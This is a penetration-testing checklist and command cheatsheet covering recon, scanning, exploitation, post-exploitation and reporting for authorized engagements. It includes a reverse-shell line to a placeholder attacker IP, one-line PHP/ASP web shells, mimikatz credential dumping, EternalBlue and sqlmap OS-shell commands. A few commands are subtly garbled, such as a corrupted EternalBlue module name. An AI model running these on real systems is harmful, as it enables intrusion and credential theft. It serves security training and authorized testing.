

External network penetration test checklist

Phase 1: Reconnaissance & OSINT

Critical Wordlists & Resources

Essential Wordlists

| Category | Location | Use Case |
|---------------------|---|----------------------------|
| General Discovery | /usr/share/seclists/Discovery/Web-Content/ - big.txt - raft-large-files.txt - directory-list-2.3-medium.txt | Directory/file enumeration |
| Subdomain Wordlists | /usr/share/seclists/Discovery/DNS/ - subdomains-top1million-110000.txt - fierce-hostlist.txt | Subdomain brute forcing |
| API Endpoints | /usr/share/seclists/Discovery/Web-Content/ - api/api-endpoints.txt - common-api-endpoints-mazen160.txt | API discovery |
| Passwords | /usr/share/wordlists/rockyou.txt /usr/share/seclists/Passwords/ - Common-Credentials/10-million-password-list-top-1000000.txt - darkweb2017-top10000.txt | Password attacks |
| Usernames | /usr/share/seclists/Usernames/ - top-usernames-shortlist.txt - Names/names.txt | User enumeration |
| Fuzzing Payloads | /usr/share/seclists/Fuzzing/ - SQLi/Generic-SQLi.txt - XSS/XSS-Bypass-Strings.txt - LFI/LFI-Jhaddix.txt | Injection testing |
| Default Credentials | /usr/share/seclists/Passwords/Default-Credentials/ Custom lists for routers, IoT devices | Default auth bypass |

Critical Tool Installation

```
# SecLists (comprehensive wordlists)
git clone <https://github.com/danielmiessler/SecLists.git> /usr/share/seclists

# Nuclei templates (always update)
nuclei -update-templates
git clone <https://github.com/projectdiscovery/nuclei-templates.git>

# PayloadsAllTheThings
git clone <https://github.com/swisskyrepo/PayloadsAllTheThings.git>

# PEASS (privilege escalation scripts)
# LinPEAS
wget <https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh>
# WinPEAS
wget <https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe>

# Auto Recon
git clone <https://github.com/Tib3rius/AutoRecon.git>

# Impacket (must-have for AD/Windows)
git clone <https://github.com/SecureAuthCorp/impacket.git>
cd impacket && pip3 install .

# BloodHound
pip3 install bloodhound
```

```

sudo apt install neo4j bloodhound

# CrackMapExec
apt install crackmapexec
# or: pipx install crackmapexec

# Additional reconnaissance tools
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
go install -v github.com/tomnomnom/waybackurls@latest
go install -v github.com/tomnomnom/gf@latest
go install -v github.com/lc/gau/v2/cmd/gau@latest
go install -v github.com/ffuf/ffuf@latest

# Web application tools
pip3 install sqlmap
apt install wfuzz nikto dirb gobuster

```

Payload Repositories

| Repository | URL | Purpose |
|-----------------------------|---|----------------------------------|
| PayloadsAllTheThings | github.com/swisskyrepo/PayloadsAllTheThings | Comprehensive payload collection |
| SecLists | github.com/danielmiessler/SecLists | Wordlists for everything |
| FuzzDB | github.com/fuzzdb-project/fuzzdb | Attack patterns database |
| Auto Wordlists | github.com/carlospolop/Auto_Wordlists | Context-based wordlists |
| Probable Wordlists | github.com/berzerk0/Probable-Wordlists | Probability-ordered passwords |

Pre-Engagement Checklist

Before Starting the Test

Legal & Authorization:

- Signed Rules of Engagement (RoE) obtained
- Scope of testing clearly defined in writing
- IP ranges/domains explicitly listed
- Out-of-scope items documented
- Emergency contact information obtained
- Legal authorization letter in hand
- Third-party authorization (if testing shared infrastructure)
- Testing windows/time restrictions documented
- Data handling and NDA agreements signed

Technical Preparation:

- Testing environment set up (Kali Linux / ParrotOS)
- VPN/secure connection to client network established (if required)

- All tools updated to latest versions
- Wordlists downloaded and organized
- Backup systems in place for notes/findings
- Screenshot/evidence collection process established
- Secure communication channel with client confirmed
- Backup communication method established
- Testing methodology documented
- Success criteria defined with client

Operational Security:

- Using authorized IP addresses only
- Traffic logging/IDS notification process agreed
- De-confliction process established (if multiple testers)
- Incident response procedure documented
- Data encryption for findings/evidence
- Secure storage for captured credentials
- Clean test environment (no prior engagement data)

Communication Plan:

- Daily status update schedule agreed
 - Critical finding reporting process (immediate notification)
 - Final report delivery date confirmed
 - Presentation/debrief meeting scheduled
 - Point of contact for technical questions identified
 - Escalation path for unexpected issues
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External Network Penetration Testing Cheatsheet

A comprehensive technical guide for authorized penetration testing engagements.

Phase 1: Reconnaissance & OSINT

Passive Information Gathering

| Task | Tools & Commands | Notes |
|--|--|--|
| Subdomain Enumeration | <code>subfinder -d target.com -o subdomains.txt</code> <code>amass enum -d target.com -o amass_subs.txt</code> <code>assetfinder --subs-only target.com</code> | Combine results and deduplicate |
| DNS Reconnaissance | <code>dnsrecon -d target.com -t std</code> <code>dnsenum target.com</code> <code>dig any target.com</code> | Look for zone transfers, NS, MX, TXT records |
| WHOIS & Registration Data | <code>whois target.com</code> <code>whois <IP_ADDRESS></code> | Identify registrant, nameservers, IP blocks |
| Public Certificate Transparency | <code>curl -s "https://crt.sh/?q=%25.target.com&output=json" jq</code> Visit: crt.sh, censys.io | Discover additional subdomains |

| Task | Tools & Commands | Notes |
|-------------------------------|--|--|
| Search Engine Dorking | site:target.com filetype:pdf site:target.com inurl:admin intitle:"index of" site:target.com | Use Google, Bing, Shodan |
| Shodan/Censys Queries | shodan search "org:Target Company" shodan host <IP_ADDRESS> | Identify exposed services and devices |
| GitHub/Code Repository Search | truffleHog --regex --entropy=True <REPO_URL> GitHub search: org:target password | Look for leaked credentials, API keys |
| Email Harvesting | theHarvester -d target.com -b all hunter.io queries | Build user lists for password spraying |
| Technology Fingerprinting | whatweb target.com wappalyzer browser extension builtwith.com | Identify web technologies, frameworks |

Checklist:

- Enumerate all subdomains using multiple tools
- Perform DNS reconnaissance and check for zone transfers
- Query WHOIS for IP ranges and ownership information
- Search certificate transparency logs
- Conduct targeted Google dorking
- Check Shodan/Censys for exposed assets
- Search GitHub and code repositories for leaks
- Harvest email addresses for social engineering/auth testing
- Fingerprint technologies in use

Phase 2: Scanning & Enumeration

Active Network Discovery

| Task | Tools & Commands | Notes |
|-------------------------------|---|--------------------------------------|
| Host Discovery | nmap -sn -PE -PP -PS80,443 -PA3389 <TARGET_RANGE> masscan -p0-65535 <TARGET_RANGE> --rate=10000 | Identify live hosts |
| Port Scanning (Comprehensive) | nmap -p -T4 --min-rate=1000 <TARGET> nmap -sS -sU -p- <TARGET> (requires root) | Scan all TCP/UDP ports |
| Service Version Detection | nmap -sV -sC -p <PORTS> <TARGET> nmap -A -p <PORTS> <TARGET> | Banner grabbing, default scripts |
| OS Fingerprinting | nmap -O <TARGET> xprobe2 <TARGET> | Identify operating systems |
| SSL/TLS Enumeration | nmap --script ssl-enum-ciphers -p 443 <TARGET> ssllscan <TARGET>:443 testssl.sh <TARGET> | Check cipher suites, vulnerabilities |
| SMB Enumeration | nmap --script smb-enum-shares,smb-enum-users -p 445 <TARGET> enum4linux -a <TARGET> smbclient -L //<TARGET>/ -N | Enumerate shares, users, policies |
| SMTP Enumeration | nmap --script smtp-enum-users -p 25 <TARGET> smtp-user ENUM -M VRFY -U users.txt -t <TARGET> | Enumerate valid email accounts |
| SNMP Enumeration | snmp-check <TARGET> onesixtyone -c community.txt <TARGET> snmpwalk -v2c -c public <TARGET> | Check for default communities |
| Web Service Discovery | nikto -h http://<TARGET> gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt ffuf -u http://<TARGET>/FUZZ -w wordlist.txt | Directory bruteforcing |

| Task | Tools & Commands | Notes |
|------------------------------|---|----------------------------|
| DNS Zone Transfer Test | dig axfr @<DNS_SERVER> target.com host -t axfr target.com <DNS_SERVER> | Test for misconfigured DNS |
| VPN/Network Device Detection | ike-scan <TARGET> nmap --script ike-version -sU -p 500 <TARGET> | Identify VPN endpoints |

Checklist:

- Discover all live hosts in target range
- Perform comprehensive port scanning (TCP/UDP)
- Enumerate service versions and banners
- Fingerprint operating systems
- Test SSL/TLS configurations for weaknesses
- Enumerate SMB shares and users (if applicable)
- Test for SMTP user enumeration
- Check SNMP with common community strings
- Perform web directory/file discovery
- Test for DNS zone transfers
- Identify VPN endpoints and versions

Phase 3: Vulnerability Analysis

Automated & Manual Vulnerability Assessment

| Task | Tools & Commands | Notes |
|----------------------------------|--|---------------------------------------|
| Automated Vulnerability Scanning | nmap --script vuln -p <PORTS> <TARGET> nuclei -u http://<TARGET> -t ~/nuclei-templates/ openvas (web-based) | Use caution with aggressive checks |
| Web Application Scanning | nikto -h http://<TARGET> wapiti -u http://<TARGET> zaproxy (OWASP ZAP GUI/CLI) | Check for common web vulnerabilities |
| SSL/TLS Vulnerability Testing | testssl.sh --vulnerable <TARGET>:443 nmap --script ssl-heartbleed,ssl-poodle -p 443 <TARGET> | Test for Heartbleed, POODLE, etc. |
| SMB Vulnerability Checks | nmap --script smb-vuln* -p 445 <TARGET> Check for: EternalBlue (MS17-010), MS08-067 | Critical RCE vulnerabilities |
| SQL Injection Testing | sqlmap -u "http://<TARGET>/page?id=1" --batch sqlmap -r request.txt --level=5 --risk=3 | Test GET/POST parameters |
| Authentication Testing | hydra -L users.txt -P passwords.txt <TARGET> http-post-form "/login:username=USER&password=PASS":Invalid" medusa -h <TARGET> -U users.txt -P passwords.txt -M ssh | Password spraying/bruteforce |
| Default Credentials Check | nmap --script http-default-accounts -p 80,443 <TARGET> Manual: Try admin/admin, admin/password | Check vendor documentation |
| CVE-Specific Scanning | searchsploit <SERVICE_NAME VERSION> msfconsole -> search <SERVICE> nmap --script <CVE-SCRIPT> <TARGET> | Match versions to known CVEs |
| API Security Testing | ffuf -u http://<TARGET>/api/v1/FUZZ -w api-endpoints.txt arjun -u http://<TARGET>/api/endpoint Postman/Burp Suite | Test for IDOR, broken auth, injection |
| File Upload Testing | Upload: webshell.php, .php.jpg, .phtml burpsuite intruder for bypass techniques | Test upload restrictions |

| Task | Tools & Commands | Notes |
|---------------------|---|-------------------------------------|
| Directory Traversal | wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt --hc 404 http://<TARGET>/download?file=FUZZ | Test path traversal vulnerabilities |

Checklist:

- Run automated vulnerability scanners (Nmap NSE, Nuclei)
- Perform web application vulnerability assessment
- Test SSL/TLS for known vulnerabilities
- Check for SMB vulnerabilities (EternalBlue, etc.)
- Test all input fields for SQL injection
- Attempt authentication attacks (password spray, default creds)
- Search for applicable CVEs based on versions
- Test API endpoints for security issues
- Test file upload functionality for bypass
- Check for directory traversal vulnerabilities
- Review for information disclosure issues

Phase 4: Exploitation

Gaining Initial Access

| Task | Tools & Commands | Notes |
|-----------------------------|---|-------------------------------------|
| Exploit Database Search | searchsploit <SERVICE> <VERSION> exploit-db.com search packetstormsecurity.com | Find public exploits |
| Metasploit Framework | msfconsole search <SERVICE> use exploit/<PATH> set RHOSTS <TARGET> set PAYLOAD <PAYLOAD> exploit | Organized exploit library |
| Web Shell Upload | PHP: <?php system(\$_GET['cmd']); ?> ASP: <% eval request("cmd") %> JSP: Custom web shell | Upload via vulnerable forms |
| SQL Injection to RCE | sqlmap -u <URL> --os-shell sqlmap -u <URL> --file-read=/etc/passwd Manual: xp_cmdshell (MSSQL) | Leverage SQLi for command execution |
| Remote Code Execution | python3 exploit.py <TARGET> <PORT> Custom exploits from GitHub/ExploitDB | Compile/modify as needed |
| Password Cracking | hashcat -m <HASH_TYPE> hashes.txt wordlist.txt john --wordlist=rockyou.txt hashes.txt john --format=<FORMAT> hashes.txt | Crack captured hashes |
| Credential Stuffing | hydra -L users.txt -P breached_passwords.txt <TARGET> ssh Use breached credential databases | Test reused passwords |
| Phishing (If in Scope) | gophish framework Custom phishing pages setoolkit (Social Engineering Toolkit) | Requires explicit authorization |
| SMB EternalBlue Exploit | msfconsole use exploit/windows/smb/ms17_010_永恒之蓝 set RHOSTS <TARGET> exploit | Windows SMB RCE |
| Reverse Shell Establishment | nc -lvp 4444 (listener) Victim: bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1 Windows: powershell -c <ENCODED_COMMAND> | Various payload types |

Checklist:

- Search for applicable exploits for identified vulnerabilities
- Configure and test exploits in Metasploit

- Attempt web shell upload on vulnerable applications
 - Leverage SQL injection for code execution
 - Execute custom/public RCE exploits
 - Crack captured password hashes
 - Test credential stuffing with known breaches
 - Execute social engineering attacks (if authorized)
 - Exploit SMB vulnerabilities (EternalBlue, etc.)
 - Establish stable reverse shell/C2 connection
 - Document all successful exploitation attempts
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Phase 5: Post-Exploitation & Reporting

Privilege Escalation & Lateral Movement

| Task | Tools & Commands | Notes |
|-------------------------------------|---|--------------------------------------|
| Linux Privilege Escalation | <code>linpeas.sh</code> <code>sudo -l</code> <code>find / -perm -4000 2>/dev/null</code> (SUID) <code>cat /etc/crontab</code> Kernel exploits | Check for misconfigurations |
| Windows Privilege Escalation | <code>winPEAS.exe</code> <code>whoami /priv</code> <code>icacls <FILE></code> <code>PowerUp.ps1</code> (PowerSploit) Check services: <code>sc qc <SERVICE></code> | Look for weak permissions |
| Credential Dumping (Windows) | <code>mimikatz.exe</code> <code>privilege::debug</code> <code>sekurlsa::logonpasswords</code> <code>hashdump</code> <code>secretsdump.py</code> <code><DOMAIN>/<USER>@<TARGET></code> | Requires admin/SYSTEM |
| Lateral Movement | <code>psexec.py</code> <code><DOMAIN>/<USER>:<PASSWORD>@<TARGET></code> <code>wmiexec.py</code> <code><USER>:<PASSWORD>@<TARGET></code> <code>crackmapexec smb <RANGE> -u <USER> -p <PASSWORD></code> | Spread to other systems |
| Persistence Mechanisms | Windows: Scheduled tasks, registry keys, services Linux: Cron jobs, SSH keys, .bashrc <code>msfvenom</code> backdoors | Only if explicitly authorized |
| Network Pivoting | <code>meterpreter> run autoroute -s <SUBNET></code> <code>proxychains + SOCKS proxy</code> <code>chisel</code> for port forwarding | Access internal networks |
| Data Exfiltration | <code>scp</code> , <code>ftp</code> , <code>http upload</code> <code>base64</code> encoding <code>dns exfiltration</code> | Only exfil test data |
| Evidence Collection | Screenshot tools <code>ifconfig</code> , <code>ipconfig /all</code> <code>cat /etc/shadow</code> <code>reg query</code> commands | Document access achieved |
| Clean Up | Remove uploaded files/tools Clear logs (if part of test scope) Document all artifacts | Maintain stealth or restore |

Checklist:

- Enumerate privilege escalation vectors
- Execute privilege escalation to admin/root
- Dump credentials from compromised systems
- Attempt lateral movement to other hosts
- Establish persistence (if authorized)
- Pivot to internal network segments
- Test data exfiltration capabilities (with test data only)
- Collect evidence and screenshots

- Document all compromised systems and data accessed
 - Clean up artifacts and tools
 - Verify all activities logged for reporting
-

Reporting Phase

Documentation & Deliverables

| Component | Description | Best Practices |
|------------------------------------|--|--|
| Executive Summary | High-level overview for management | Focus on business risk, severity ratings |
| Methodology | Phases, tools, approach used | Reference standards (PTES, OWASP, NIST) |
| Scope Definition | IP ranges, domains, systems tested | Include what was explicitly excluded |
| Findings | Each vulnerability with severity rating | Use CVSS scores, include evidence |
| Risk Rating | Critical, High, Medium, Low, Info | Base on exploitability + impact |
| Proof of Concept | Screenshots, command outputs, exploitation steps | Redact sensitive data appropriately |
| Remediation Recommendations | Specific, actionable guidance per finding | Prioritize by risk, include timelines |
| Appendices | Full scan outputs, tool configurations, CVE references | Supporting technical details |

Report Checklist:

- Complete executive summary written
 - Methodology section documented
 - Scope clearly defined with inclusions/exclusions
 - All findings documented with severity ratings
 - Evidence (screenshots, logs) included for each finding
 - Remediation recommendations provided
 - Technical appendices attached
 - Report reviewed for accuracy and clarity
 - Sensitive information properly redacted
 - Deliver to authorized stakeholders only
-

Essential Tool Reference

Quick Command Reference

```
# Subdomain enumeration pipeline
subfinder -d target.com | httpx -silent | nuclei -t ~/nuclei-templates/

# Full TCP port scan
nmap -p- --min-rate=1000 -oA full_scan <TARGET>

# Service enumeration
nmap -sV -sC -p $(cat full_scan.nmap | grep open | cut -d'/' -f1 | tr '\n' ',') <TARGET>
```

```
# Web fuzzing
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -mc 200,301,302,403

# Password spraying (careful!)
crackmapexec smb <TARGET> -u users.txt -p 'Winter2024!' --continue-on-success

# Quick SQL injection test
sqlmap -u "http://<TARGET>/page?id=1" --batch --level=1 --risk=1

# Reverse shell listener
rlwrap nc -lvpn 4444
```